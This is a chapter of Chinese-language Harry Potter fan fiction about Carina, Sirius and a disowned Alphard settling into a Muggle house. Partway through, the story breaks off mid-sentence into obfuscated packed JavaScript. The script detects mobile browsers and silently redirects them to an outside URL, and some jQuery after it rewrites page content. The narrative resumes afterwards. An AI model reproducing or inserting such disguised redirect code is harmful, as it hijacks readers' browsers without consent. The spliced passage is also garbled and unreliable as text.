卡莉娜幻影移形到坡景街27号的门口。她走上二楼，在客卧面前停住脚步。


    “西里斯？”她在门前问，“大脚板？”


    房门敞开了。


    西里斯穿着皱巴巴的衬衫，头发睡得像是被轰炸过。


    “是你。”他嘟哝着说。


    “还能是谁。”卡莉娜抱着双臂说。


    “沃尔布加绝对叫你别管我。”西里斯对她说。


    “她不知道，”卡莉娜冷冷地说，“那就是没有。”


    “我还以为你也会对我大喊大叫，”西里斯开着并不好笑的笑话，“从我的房子里滚出去——或者什么类似的话。”


    “我绝不会叫你从我的房子里滚出去。”卡莉娜平静地说，“但我会叫你去给自己做点饭吃。”


    “现在几点？”西里斯问。


    “晚上八点。”卡莉娜回答道。


    “看来我把整个下午都睡过去了。”西里斯摆出轻松写意的样子。


    “拿着这些英镑。”卡莉娜把钱包塞到他手里，“去最近的面包店给自己弄点吃的。”


    西里斯像接到指令的机器人推开前门，一路沿着坡景街整齐的街道去觅食。


    卡莉娜挥舞着魔杖打扫坡景街27号的家务——她已经有好一阵没有来过这里，地板上有不明显的浮尘。她打开前门，发现安多米达帮她打理过的花园依然欣欣向荣——她疑心这些植物被安多米达施了魔法。


    “卡莉娜！”隔壁的怀特太太看到他站在花园里，高高兴兴地对她挥手，“好久不见！”


    “好久不见。”她对怀特太太说，“我弟弟决定搬进来住——要劳烦您看着他。”


    “哦，男孩儿们。”怀特太太说，用那种嗔怪的语调说，“和家里闹别扭了？”


    “是。”卡莉娜抿抿嘴，“但他成年了，也是独立的好时机。”


    “别担心，”怀特太太和蔼地说，“等他长大，矛盾慢慢就会化解……不过你说得对，这也是学会自己生活的好时机！”


    “至少要学会怎么做三明治。”卡莉娜自然地和怀特太太闲话家常，“他恐怕是饿了才会想起来吃饭的类型。”


    “这可不行！”怀特太太热心地说，“我会替你盯着他吃饭的——小老太太总是有些用处的，是不是？”


    “哦，”卡莉娜摆摆手，“在这方面您是专家……当时还是您指点我去市场买菜。”


    “不用说谢谢。”怀特太太拢了拢自己身上的披肩，“我喜欢你们这些年轻人陪着我，这让我自己也变得更加年轻！”


    “我的荣幸。”卡莉娜说，脸上带着淡淡的微笑。


    西里斯买了一袋子面包回来。


    “只吃面包？”卡莉娜打量着他手里的干面包，“更何况还是这种面包……”


    “其实吃起来有股麦香味。”西里斯煞有介事地说，“我就是纯粹好奇……”


    卡莉娜从袋子里掰了一块。


    “意外的不错，”她对西里斯说，“确实有股麦香味。”


    怀特太太看着他们，似乎是觉得他们的味蕾坏了。


    “晚安，怀特太太！”卡莉娜对怀特太太说，“我们先回去了。”


    西里斯也挥着手。


    卡莉娜从橱柜里倒腾出一些没有过期的茶叶，开始烧水。


    “太干。”她评价面包，“还是要喝点什么。”


    西里斯低着头，黑色头发依旧乱七八糟地支棱着。


    “抱歉。”他说。


    “为了什么抱歉？”她说。


    “撞坏了你送我的车。”西里斯说，“它没法再启动了。”


    卡莉娜进来前在后门看到了那辆严重变形的车，它现在全然是格兰芬多的配色，褪去了那层伪装的浅金色。


    “只是一辆玩具车。”卡莉娜认真地说，“最重要的是你自己的安全。”


    “但它是你送我的第一辆。”西里斯固执地说。


    “我想我们还可以把它利用起来，”卡莉娜想出一个主意，“把它改造成摇摇车之类的……我们可以把它安放在后门前。”


    “我喜欢这个主意。”西里斯脸上露出一些稀疏的笑容。


    “如果感到伤心，你可以表现出来，大脚板。”卡莉娜温和地说，“我想不出世界上还有什么比快乐更重要的事。”


    “正义、理想、使命。”西里斯说出几个单词。


    “这都是人类社会编制出来的词语。”卡莉娜无谓地说，“为了让人类文明能够高效利用资源，这些道德被创造出来——但它们本身并无意义——最重要的是你个人的人生体验。”


    西里斯咧开嘴笑了，他用手指指自己：“格兰芬多。”


    他又用手指指卡莉娜：“斯莱特林。”


    两个人对视一眼，不明所以、莫名其妙地大笑起来。


    “好吧，”卡莉娜脸上还有着残留的笑容，“我得告诉你……明天我就要把坡景街和柳树农场的飞路网全部关闭，并且给柳树农场施一个赤胆忠心咒。”


    “老妖婆今天跑到柳树农场了，是不是？”西里斯敏锐地说，“她肯定听见我们在壁炉里喊它的名字——或者是克利切告诉她的——无条件遵守老妖婆的每一个命令，甚至梦想着自己的脑袋被挂到墙上……”


    “不止是这个原因，”卡莉娜把茶水倒进杯子，“也是为了安全——我不想回家之后看到一窝恐怖分子坐在起居室里。”


    “有道理。”西里斯指指这座房子，“那这里……需要赤胆忠心咒吗？”


    “我还没想好。”卡莉娜慢慢说，“没有太多巫师知道这个地方，我想它暂时是安全的……而且我也不想做不打一声招呼就走的邻居。”


    “你叫怀特太太盯着我，是吗？”西里斯再一次一针见血地说。


    “只是盯着你吃饭。”卡莉娜耸耸肩，“如果你不愿意的话，我可以等会儿去和她说。”


    “就这样吧，”西里斯嘟哝着说，“她的饼干很好吃。”


    卡莉娜用双手揉了揉他的脑袋，把他服帖了些的头发再次弄得一团乱麻。


    “干什么？”他警惕地说，用一只手梳理自己的一头黑色乱毛。


    “我希望你高兴。”卡莉娜说，“不管怎样。”


    西里斯露出一个快活的笑容，把面前的干面包撕成很多片，慢慢吃完。


    ————


    卡莉娜回到柳树农场，卡拉多克还在桌前写明天的日程安排。


    “你回来了。”他的目光在台灯的映照下显得更加柔和。


    “我回来了。”卡莉娜回答道。


    “牛奶，或者可可？”卡拉多克问。


    “不用，”她换上家居服，“我喝了太多茶。”


    “他们怎么样？”卡拉多克关心道。


    “平静。”卡莉娜把袍子扔进脏衣篮，“死水一样平静。”


    “你怎么样？”卡拉多克说。


    “疲惫。”她回答道，扯开床上的被子，拍拍自己旁边的空位。


    卡拉多克拍拍枕头，躺到她身边。


    她在温暖的怀抱中陷入安眠。


    ————


    但这场地震尚有余震。


    事情过去了几天，卡莉娜才得知阿尔法德回到了英国。长达一个多月的时间，她都在柳树农场埋头工作，和外界的最大联系是《预言家日报》。


    平平无奇的周末，她按照惯例去坡景街27号看看西里斯的生活情况——有没有把自己养死。但当她拎着一篮子鸡蛋（巴兹尔在农场养了一群鸡，塞巴斯蒂安认为这完全是疯了——但他依旧厚颜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671741|185562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无耻地大吃特吃巴兹尔每天早上做的炒蛋）推开前门的时候，惊讶看见布莱克家的一个大龄单身汉坐在餐桌边，和自己的外甥抢香肠吃。


    “有没有人能和我解释，”卡莉娜把一篮子鸡蛋墩在桌子上，“阿尔法德是怎么知道这里的。”


    “我和博蒙-多雷夫妇。”西里斯掰着指头数了数，“你可以猜猜是谁告诉阿尔法德的。”


    “你们三个都告诉了他。”卡莉娜回答道，把盘子里的香肠平均分给两个人，“所以……怎么回事？”


    “他也被赶出家门了。”西里斯心直口快地说，“嘭！”


    西里斯做出一个射击的姿势，卡莉娜看出他在演示家族挂毯被烧焦的场面。


    “阿尔法德！”她震惊地说，“这么多年了！”


    “我公开表示支持西里斯。”阿尔法德耸耸肩，“我告诉沃尔布加，她不是在所有事上都是对的……而且对西里斯过分苛刻。”


    “然后？”卡莉娜说。


    “然后我表示我的金子都会继承给西里斯。”阿尔法德大咧咧地说，“作为他独自生活的资金。”


    “妈妈一定气坏了。”卡莉娜无奈地说。


    “我不会建议你最近回到格里莫广场。”阿尔法德机智地说，“我想我把沃尔布加彻底惹火了——主要是关于麻瓜权益的部分。”


    他和西里斯击了个掌。


    “别用这种眼神看着我。”阿尔法德说，“你知道我在做对的事。”


    “我知道。”卡莉娜说，“完全正直的选择，但……”


    “控制不住地伤心。”阿尔法德了然地说，“布莱克家族、沃尔布加、西格纳斯和我……组成我的前半生，离开它不能不让我撕心裂肺。”


    卡莉娜把手交叉着，专注地看着他。


    “但这么多年以来，我第一次感觉到自由。”阿尔法德用一种奇特的语调说，“它一直像是一个过分沉重的包袱……我不得不带着它上路，不论走到哪里，都感到如此疲惫、痛苦。”


    西里斯默默地表示同意。


    “特别是当我认识到纯血论的荒谬之处。”阿尔法德用叉子插住最后一根小香肠，“布莱克家族就更加像是一种折磨……我过去十几年的观念和我当时树立起的全新的观念撕裂了……我成了一个生活在夹缝里的人。”


    卡莉娜给自己倒了一杯牛奶——不知道该说些什么的时候，喝点什么可以让自己显得不那么无动于衷。


    “我认识了瑟西，认识了马里厄斯叔叔，”阿尔法德也往杯子里倒了些牛奶，“我环游世界……我认识了更多的人，走过更多的路。我发现麻瓜们的生活如此多姿多彩，而布莱克家族就像是腐朽的、华丽的外袍……不管我多么喜欢这件袍子，但它变得越来越不合身，甚至开始掐住我的脖子。”


    阿尔法德向他们举起杯子。


    “敬自由！”他说。


    卡莉娜能看到他眼角微微的闪烁。


    “敬自由！”西里斯很快捧起自己的杯子，响亮地和阿尔法德的杯子撞了撞。


    “敬自由。”卡莉娜温柔地碰了碰杯。


    阿尔法德露出笑容。


    “那么，我们该出发了，西里斯。”他高高兴兴地说，“我们该怎么去音乐节现场？”


    “坐地铁。”西里斯开始收拾东西，“别担心，我已经完全熟练了。”


    他们俩从前门离开，纷纷对卡莉娜挥动帽子告别。


    他们的身影消失后，卡莉娜还能听到西里斯的歌声从前门传来。


    “哦，你让我重获新生，不论这个世界向我展示了什么；


    是你，我看到的全是你，亲爱的，你是我活着的动机；


    哦，你让我重获新生，


    你是我出生至今，最好的朋友……”